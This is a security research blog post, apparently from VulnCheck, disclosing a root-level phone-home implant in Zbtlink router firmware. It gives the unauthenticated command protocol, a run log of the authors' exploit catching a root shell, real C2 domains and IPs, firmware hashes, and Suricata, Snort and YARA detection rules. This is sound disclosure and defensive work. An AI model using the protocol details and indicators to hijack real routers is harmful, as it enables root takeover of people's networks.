On my desk in suburban Philadelphia, an AX3000 Dual SIM 5G CPE WiFi 6 is plugged into an isolated research network. Its status lights blink and twinkle as it continuously attempts to reach a command and control server on the internet. The same plays out in homes, offices, and even vehicles across the globe: Zbtlink routers phone home, waiting for orders. Not because they were hacked. Because they were shipped that way.

The router on my desk is made by Zbtlink, a brand of Shenzhen Zhibotong Electronics, a Chinese manufacturer that builds routers and white-labels them for sale around the world. The same device shows up on Amazon under both the Zbtlink and Wiflyer brand names, and in Shopify stores like zbtwifi.com and zbtlink.com. We bought our Zbtlink AX3000 (model Z8102AX-2DSIM, also sold as the Z8102AX) off of Alibaba.
The implant is easy to find once you know it’s there.
root@OpenWrt:~# ps
PID USER VSZ STAT COMMAND
…
6 root 0 IW< [kworker/0:0H-kb]
17 root 0 IW< [kworker/1:0H-kb]
651 root 0 IW [kworker/0:2-pm]
…
6811 root 852 S kworker
6826 root 1132 S kworker
…
A kworker is a Linux kernel thread, and it shows up in a process listing wrapped in brackets. The two unbracketed kworkers in the snippet above, from our AX3000, are not kernel threads. They are ordinary userland processes running as root, with real memory footprints, named to disappear into a crowd of legitimate ones. They are an implant, a phone-home trojan horse. Our zero-day research team named this ENDLESSDOORS.
ENDLESSDOORS, at its core, is a small tool called rctl (remote control linux). Uploaded to GitHub on January 14, 2015 and never touched again, this obscure repository implements a simple command and control client and server. The server listens on port 7000 for clients to connect. It can send the client individual shell commands or tell the client to spawn a reverse bash shell.
kworker on the AX3000 is a customized version of rctl, and it’s been configured to phone home to 47.107.224[.]89 and rbdg4nzqadui[.]wikaba[.]com.
root@OpenWrt:~# tcpdump -i any -n not port 22
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on any, link-type LINUX_SLL (Linux cooked v1), capture size 262144 bytes
14:56:51.702295 IP 127.0.0.1.57637 > 127.0.0.1.53: 45414+ A? rbdg4nzqadui.wikaba.com. (41)
14:56:51.702415 IP6 ::1.57637 > ::1.53: 45414+ A? rbdg4nzqadui.wikaba.com. (41)
The entire attack is answering the phone
There is no handshake, no key exchange, no negotiation. When the implant reaches a server, it sends a fixed 39-byte hello: a 33-byte class label padded with nulls, then its LAN MAC address. That's the whole registration. There is no client or server verification.
After that, anything the server sends is handed to popen() and executed as uid 0. There is no allow-list and no sandbox. One reserved string, rctlbash, tells the implant to open a second connection to port 7001, allocate a pseudo-terminal, spawn /bin/sh, and bridge it. That is a live interactive root shell.
The vocabulary of this protocol is two phrases: run this as root, and give me a root shell.
Anyone along the network path can hijack the client/server communication. Anyone who controls the resolution of rbdg4nzqadui[.]wikaba[.]com, or the address it resolves to, can control any ENDLESSDOORS implant that tries to phone home.
Because the device dials out, none of this requires the router to be reachable from the internet. There's no listening port to find and no inbound rule to punch through. The connection originates inside the network and traverses NAT and typical egress filtering the way any outbound TCP session does. A unit sitting behind three layers of firewall in a hotel back office is exactly as reachable as one with a public IP, provided it can get to the C2.
That isn’t theoretical either. We translated the rctl server protocol into a go-exploit and hijacked the outbound rctl communications from our AX3000 client. After the AX3000 announced itself, we told it to give us an interactive shell. And it did.
./build/endlessdoors_linux-arm64 -e -rctlport 7000 -c2 SSLShellServer -lport 4444
time=2026-07-20T17:39:46.362Z level=STATUS msg="Certificate not provided. Generating a TLS Certificate"
time=2026-07-20T17:39:46.452Z level=STATUS msg="Starting TLS listener on 192.168.1.100:4444"
time=2026-07-20T17:39:46.452Z level=STATUS msg="Starting target" index=0 host=192.168.1.1 port=80 ssl=false "ssl auto"=false
time=2026-07-20T17:39:46.452Z level=STATUS msg="rctl C2 listening on 192.168.1.100:7000; waiting up to 30s for the implant to phone home"
time=2026-07-20T17:39:48.361Z level=SUCCESS msg="Implant connected from 192.168.1.1:53028"
time=2026-07-20T17:39:48.361Z level=SUCCESS msg="Registration: class=\"_25.0527_174431\" mac=f8:5e:3c:97:d2:58"
time=2026-07-20T17:39:48.361Z level=STATUS msg="Delivering the payload as root through the implant's popen command channel"
time=2026-07-20T17:39:48.362Z level=SUCCESS msg="Payload delivered as root; awaiting the C2 callback"
time=2026-07-20T17:39:48.362Z level=SUCCESS msg="Exploit successfully completed" exploited=true
time=2026-07-20T17:39:48.367Z level=SUCCESS msg="Caught new shell from 192.168.1.1:53296"
time=2026-07-20T17:39:48.367Z level=STATUS msg="Active shell from 192.168.1.1:53296"
sh: can't access tty; job control turned off
BusyBox v1.33.2 (2024-05-16 08:34:26 UTC) built-in shell (ash)
/tmp # id
uid=0(root) gid=0(root) groups=0(root)
That is the whole attack. Be the thing the router is already looking for and take over. We’ve assigned this CVE-2026-66747.
It isn't one model
Every firmware on zbtlink.com’s download page, roughly two dozen images, embeds the rctl implant and starts it at boot with an init.d script named skworker. All of them phone home. All of them are hijackable the same way.
Affected models:
CPE2801, WE1026-5G-WD, WE1326, WE2007, WE2008-DSIM, WE2416, WE3326, WE5927, WE5931, WE5931AC, WE826-T3-DSIM, WG108, WG1602, WG1608-DSIM, WG209, WG2105, WG2107, WG259, WG3526, Z8102AX-2DSIM
Match on the model number, not the logo on the case. Zbtlink openly sells OEM and ODM services. They will build and rebrand this same hardware and firmware for anyone who wants to put their own name on it. A "Wiflyer WG3526" is the same affected device as its ZBT-labelled twin. The true affected population might be larger than the twenty models we examined, but we have no way to enumerate the rest.
Every affected router dials the same tiny set of endpoints. Across all twenty models it reduces to four primary and secondary endpoints:
| Role | Endpoint | Resolves to | Hosting |
|---|---|---|---|
| Primary | zbtctl.epplink[.]net | 47.100.190[.]96 | Alibaba Cloud, Shanghai |
| Primary | hardcoded IP | 47.107.224[.]89 | Alibaba Cloud, Shenzhen |
| Secondary | online-string.com | 45.32.81[.]152 | Vultr |
| Secondary | rbdg4nzqadui[.]wikaba[.]com | 43.248.136[.]125 | Jiangsu Dongyun Cloud |
Interestingly, our AX3000 is a bit of an odd duck. It phones home to wikaba.com (a DDNS service, sort of ideal for non-attribution). All but two other models dial the far more damning zbtctl.epplink[.]net endpoint which currently resolves to 47.100.190[.]96, hosted in Alibaba Cloud.

We did not notify Zbtlink
Coordinated disclosure exists to give a vendor time to fix a defect. It assumes the vendor did not intend the behavior. That assumption doesn't hold here. This isn't a memory corruption bug in a parser. It's a component in the vendor’s product, started at boot by the vendor's own init script, shipped across twenty models and years of images. There is no patch to coordinate. Telling the shipper that they shipped it buys the owners of these devices nothing, and buys whoever operates that infrastructure a warning.
So we're publishing, and we're publishing detection content alongside it so defenders can act today.
What to do about it
There is no fixed firmware. Treat this as a device-trust problem, not a patching problem.
- Inventory by model number, not brand. Check the twenty models listed above against your purchasing records, your hotel and branch office kit, your vehicle fleet, and anything a contractor installed. Look for Zbtlink, ZBT, ZBTWiFi, Wiflyer and for unbranded cellular CPE of unclear provenance.
- Check the process list. If possible, SSH in and run ps. An unbracketed kworker with a nonzero VSZ is the implant. There will be two of them.
- Check the filesystem. /usr/sbin/kworker, /usr/lib/librctl.so, /etc/kworker.cfg, /etc/init.d/skworker.
- Block and alert on the three endpoints at your egress and your resolver. Alert, don't just block. Suricata, Snort, and YARA rules are below.
- Watch for outbound 7000/7001, especially from network infrastructure segments.
- Segment or replace. You can disable the init script if you have shell access, but you are then trusting the rest of an image that shipped this in the first place. For anything carrying real traffic, our advice is to replace the device, or at minimum move it behind strict egress control and treat its LAN as untrusted.
The router on my desk is still plugged in, on a network that goes nowhere. Its lights are still blinking. It still calls out, patient, waiting for someone to pick up.
About VulnCheck
VulnCheck’s research team tracks real-world exploitation, attacker infrastructure, and exploit workflows using our Canary Intelligence, Exploit & Vulnerability Intelligence (EVI), and IP Intelligence datasets. For more research like this check out our blogs, Frost Checks First, The Mystery OAST Host Behind a Regionally Focused Exploit Operation, and XWiki Under Increased Attack.
Sign up for the VulnCheck community today to get free access to our VulnCheck KEV, enjoy our comprehensive vulnerability data, and request a trial of our Initial Access Intelligence, Target Intelligence, Canary Intelligence, and Exploit & Vulnerability Intelligence products.
Appendix
Firmware Image Hashes
The 21 firmware images below, published on Zbtlink's download page, were confirmed to contain ENDLESSDOORS. The hash is the SHA-256 of the kworker binary; identical hashes indicate the same build shipped across multiple images.
| Firmware | Hash |
|---|---|
| CPE2801_V22.10.09.bin | b3956cfbebf9c8d0b2c7a2ecbe59e71c31a5802f2084d25d93a984c0f811e2c7 |
| WE1026-5G-WD_V21.04.07.bin | f961e4243e759453294340bc7d1b145016d70b97ab328caf47c64ea3cd818148 |
| WE1326_V22.02.18_1.bin | 7791de11cd27cb596deff089904a6eab3a7e0aa391f867c2389582d5c78fef4c |
| WE2007_V23.08.12.bin | 6926f919da7f4447229f49842266d884369e1587df655149673e46f1d8787e47 |
| WE2008-DSIM_V23.08.11.bin | 09ed9ad3ac886f5aaf8357127b6dd5926bd4af1e2cc687a6a4856bcaedee2667 |
| WE2416_V21.03.22_1.bin | 76a17581bbde4c0550e8f4abfd903923aceeb50dc69dae4dd904628c273b90ee |
| WE2416_V21.03.22.bin | 76a17581bbde4c0550e8f4abfd903923aceeb50dc69dae4dd904628c273b90ee |
| WE3326_V20.09.30.bin | f5a94e536a1cac8552fb9c327c4bac6017e034786be98cc402a149cb51250d8f |
| WE826-T3-DSIM_V21.12.21.bin | b3e667235e9b41b8fc3594edaa64879750e7f75d7518fff7514d55837430411a |
| WG108_V21.08.06_1.bin | 37efadf0f4a110be0145139a43ebd032abb5b27b79b1eb2ab3578dcd31655a9e |
| WG1602_V23.10.11.bin | f019d03c2489b2bc486d71e355e07f8f2862dff078574a8662a5a45932e7e453 |
| WG1608-DSIM_V23.03.16.bin | 73a0d95b8e23c7780cd91e978238c6db519665b05481fb228b4db9a9ec99c8ae |
| WG209_V21.07.28.bin | efc8a8ead69c63ecfffd883cfbe6bd131082aa13c0d3b324c00d79f4c149bd92 |
| WG2105_V22.05.30.bin | 1545169fa8a3ae182d8e39aca8ec6cb6849b864e38646f29017232813e397e77 |
| WG259_V21.03.23.bin | b4fda77e082fbf961db02273999e92e715e1824140ea92b2ab30163338b6622b |
| WG3526_V22.11.01.bin | 2d558bc9a6c7e7480e946f1c0524a651554887a1c563d7633f1903d06ff493fb |
| Z8102AX-2DSIM-..._174431.bin | dcdaa1fe80707b8d8fde8ad36c3e62a53623aff09bf5ccc544d4c1a1a54208b8 |
| ZBT-WE5927_V22.08.10.bin | 4f5d8319b4bad5d9243496c1358fda4783ea9a0865c32881b3f57ecedb879570 |
| ZBT-WE5931AC_V22.05.31.bin | dee3908280b91cb7ad60c69c1d34c599ceed7c8c66c025851e5831482815b271 |
| ZBT-WE5931_V22.05.31.bin | 47d8ffb3a9a3fe0337e3c1e355fab4847dd61952fbe9aad98aadede489ca31fd |
| ZBT-WG2107_V22.09.08.bin | 71b20ebff0630b33c96bef320adc75901b34f1fd2cc9af974cf93ff37d102ec8 |
kworker Hashes
Below is the SHA-256 of the images embedded kworker binary.
| Model | kworker Hash |
|---|---|
| CPE2801_V22.10.09.bin | dc1f4056af20677bdc7294ae4707f0c7bdfc85d8b57db212b622b9dc09c92731 |
| WE1026-5G-WD_V21.04.07.bin | 33f8c0532100eeb10213d167e5eb483394a7e43bf6d276441a1573360622011a |
| WE1326_V22.02.18_1.bin | 00a1228648fffa7338076970037b89f679a166a08c4d9573f1f27973ec6ed497 |
| WE2007_V23.08.12.bin | e85104fce4061d52d47f4528df9aaf656edc49f05c0f026c5bc6b65d57eb7f22 |
| WE2008-DSIM_V23.08.11.bin | e85104fce4061d52d47f4528df9aaf656edc49f05c0f026c5bc6b65d57eb7f22 |
| WE2416_V21.03.22_1.bin | ab8467e1495479693f4de8e838a5aeb61a65f3682d68f5b2d7c856cbfc91a247 |
| WE2416_V21.03.22.bin | ab8467e1495479693f4de8e838a5aeb61a65f3682d68f5b2d7c856cbfc91a247 |
| WE3326_V20.09.30.bin | dc1f4056af20677bdc7294ae4707f0c7bdfc85d8b57db212b622b9dc09c92731 |
| WE826-T3-DSIM_V21.12.21.bin | dc1f4056af20677bdc7294ae4707f0c7bdfc85d8b57db212b622b9dc09c92731 |
| WG108_V21.08.06_1.bin | 00a1228648fffa7338076970037b89f679a166a08c4d9573f1f27973ec6ed497 |
| WG1602_V23.10.11.bin | 00a1228648fffa7338076970037b89f679a166a08c4d9573f1f27973ec6ed497 |
| WG1608-DSIM_V23.03.16.bin | 00a1228648fffa7338076970037b89f679a166a08c4d9573f1f27973ec6ed497 |
| WG209_V21.07.28.bin | 00a1228648fffa7338076970037b89f679a166a08c4d9573f1f27973ec6ed497 |
| WG2105_V22.05.30.bin | 00a1228648fffa7338076970037b89f679a166a08c4d9573f1f27973ec6ed497 |
| WG259_V21.03.23.bin | 00a1228648fffa7338076970037b89f679a166a08c4d9573f1f27973ec6ed497 |
| WG3526_V22.11.01.bin | 00a1228648fffa7338076970037b89f679a166a08c4d9573f1f27973ec6ed497 |
| Z8102AX-2DSIM-..._174431.bin | 31ee58a134b766f6ed4424a22cc2cb08cfabbc9a5f35e0ae11a250c81ccc7f5e |
| ZBT-WE5927_V22.08.10.bin | dc1f4056af20677bdc7294ae4707f0c7bdfc85d8b57db212b622b9dc09c92731 |
| ZBT-WE5931AC_V22.05.31.bin | dc1f4056af20677bdc7294ae4707f0c7bdfc85d8b57db212b622b9dc09c92731 |
| ZBT-WE5931_V22.05.31.bin | dc1f4056af20677bdc7294ae4707f0c7bdfc85d8b57db212b622b9dc09c92731 |
| ZBT-WG2107_V22.09.08.bin | 00a1228648fffa7338076970037b89f679a166a08c4d9573f1f27973ec6ed497 |
Network Indicators
Network indicators associated with ENDLESSDOORS.
zbtctl.epplink[.]net
online-string[.]com
rbdg4nzqadui.wikaba[.]com
47.100.190[.]96
47.107.224[.]89
45.32.81[.]152
43.248.136[.]125
Suricata Rules
alert tcp any any -> any 7000 ( \
msg:"VULNCHECK Zbtlink Router ENDLESSDOORS Implant Check-in"; \
flow:established,to_server; \
dsize:39; \
pcre:"/^[A-Z0-9._-]{2,32}\x00{1,31}[\x00-\xff]{6}$/s"; \
reference:url,https://github.com/ycsunjane/rctl; \
classtype:trojan-activity; \
sid:12800002; rev:1; \
metadata: deployment Datacenter, impact compromised;)
alert tcp any 7000 -> any any ( \
msg:"VULNCHECK Zbtlink Router ENDLESSDOORS Implant Interactive Root Shell Request (rctlbash)"; \
flow:established,to_client; \
dsize:12; \
content:"|00 00 00 08|rctlbash"; depth:12; \
reference:url,https://github.com/ycsunjane/rctl; \
classtype:trojan-activity; \
sid:12800003; rev:1; \
metadata: deployment Datacenter, impact compromised;)
alert dns any any -> any any ( \
msg:"VULNCHECK Zbtlink Router ENDLESSDOORS Implant C2 Domain Lookup (zbtctl.epplink.net)"; \
dns.query; content:"zbtctl.epplink.net"; nocase; \
pcre:"/(^|\.)zbtctl\.epplink\.net$/i"; \
reference:url,https://github.com/ycsunjane/rctl; \
classtype:trojan-activity; \
sid:12800004; rev:1; \
metadata: deployment Datacenter, impact compromised;)
alert dns any any -> any any ( \
msg:"VULNCHECK Zbtlink Router ENDLESSDOORS Implant C2 Domain Lookup (online-string.com)"; \
dns.query; content:"online-string.com"; nocase; \
pcre:"/(^|\.)online-string\.com$/i"; \
reference:url,https://github.com/ycsunjane/rctl; \
classtype:trojan-activity; \
sid:12800005; rev:1; \
metadata: deployment Datacenter, impact compromised;)
alert dns any any -> any any ( \
msg:"VULNCHECK Zbtlink Router ENDLESSDOORS Implant C2 Domain Lookup (rbdg4nzqadui.wikaba.com)"; \
dns.query; content:"rbdg4nzqadui.wikaba.com"; nocase; \
pcre:"/(^|\.)rbdg4nzqadui\.wikaba\.com$/i"; \
reference:url,https://github.com/ycsunjane/rctl; \
classtype:trojan-activity; \
sid:12800006; rev:1; \
metadata: deployment Datacenter, impact compromised;)
Snort 2.9 Rules
alert tcp any any -> any 7000 ( \
msg:"VULNCHECK Zbtlink Router ENDLESSDOORS Implant Check-in"; \
flow:established,to_server; \
dsize:39; \
pcre:"/^[A-Z0-9._-]{2,32}\x00{1,31}[\x00-\xff]{6}$/s"; \
reference:url,https://github.com/ycsunjane/rctl; \
classtype:trojan-activity; \
sid:12800002; rev:1; \
metadata: deployment Datacenter, impact compromised;)
alert tcp any 7000 -> any any ( \
msg:"VULNCHECK Zbtlink Router ENDLESSDOORS Implant Interactive Root Shell Request (rctlbash)"; \
flow:established,to_client; \
dsize:12; \
content:"|00 00 00 08|rctlbash"; depth:12; \
reference:url,https://github.com/ycsunjane/rctl; \
classtype:trojan-activity; \
sid:12800003; rev:1; \
metadata: deployment Datacenter, impact compromised;)
alert udp any any -> any 53 ( \
msg:"VULNCHECK Zbtlink Router ENDLESSDOORS Implant C2 Domain Lookup (zbtctl.epplink.net)"; \
content:"|06|zbtctl|07|epplink|03|net|00|"; nocase; \
reference:url,https://github.com/ycsunjane/rctl; \
classtype:trojan-activity; \
sid:12800004; rev:1; \
metadata: deployment Datacenter, impact compromised;)
alert udp any any -> any 53 ( \
msg:"VULNCHECK Zbtlink Router ENDLESSDOORS Implant C2 Domain Lookup (online-string.com)"; \
content:"|0d|online-string|03|com|00|"; nocase; \
reference:url,https://github.com/ycsunjane/rctl; \
classtype:trojan-activity; \
sid:12800005; rev:1; \
metadata: deployment Datacenter, impact compromised;)
alert udp any any -> any 53 ( \
msg:"VULNCHECK Zbtlink Router ENDLESSDOORS Implant C2 Domain Lookup (rbdg4nzqadui.wikaba.com)"; \
content:"|0c|rbdg4nzqadui|06|wikaba|03|com|00|"; nocase; \
reference:url,https://github.com/ycsunjane/rctl; \
classtype:trojan-activity; \
sid:12800006; rev:1; \
metadata: deployment Datacenter, impact compromised;)
YARA Rule
The following rule matches the kworker and librctl.so binaries across every observed build, MIPS and aarch64:
rule Zbtlink_Router_ENDLESSDOORS_Implant
{
meta:
description = "Zbtlink Router ENDLESSDOORS implant (rctl/kworker): /usr/sbin/kworker and /usr/lib/librctl.so. Plaintext, unauthenticated root C2 with an rctlbash PTY reverse shell. Matches MIPS and aarch64 builds."
reference = "https://github.com/ycsunjane/rctl"
strings:
$cfg = "/etc/kworker.cfg" ascii
$ca = "/etc/ssl/certs/wirelesser_ca.crt" ascii
$bash = "rctlbash" ascii fullword
$ok = "exec success: %s" ascii
$fail = "exec fail: %s" ascii
$bport = "bash listen port" ascii
$super = "super ip" ascii
$link = "rctllink type is error" ascii
condition:
uint32(0) == 0x464C457F and 4 of them
}